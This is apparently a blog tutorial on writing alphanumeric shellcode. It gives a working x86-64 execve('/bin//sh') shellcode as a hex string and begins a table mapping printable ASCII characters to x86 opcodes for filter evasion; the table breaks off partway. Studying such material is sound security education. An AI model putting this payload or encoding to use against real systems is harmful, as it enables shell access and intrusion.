Skip to main content

Posts

Showing posts from April, 2014

Alphanumeric Shellcode

Writing Alphanumeric Shellcode
Step1: First we will write assembly program to spawn a shell:


SHELLCODE "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"

Step2: Now lets test this hex shellcode using a C program:



Step3: Convert instruction opcodes from hex to ascii using table given below:
ASCII Shellcode TableASCII ValueHex OpcodeAssembly Equivalent0\x30xor1\x31xor2\x32xor3\x33xor4\x34xor al, 0x## [byte]5\x35xor eax, 0x######## [DWORD]6\x36SS Segment Override7\x37aaa8\x38cmp9\x39cmp :\x3acmp ;\x3bcmp<\x3ccmp al, 0x## [byte]=\x3dcmp eax, 0x######## [DWORD]>\x3e[undocced nop] ?\x3faas@\x40inc eaxA\x41inc ecxB\x42inc edxC\x43inc ebxD\x44inc espE\x45inc ebpF\x46inc esiG\x47inc ediH\x48dec eaxI\x49dec ecxJ\x4a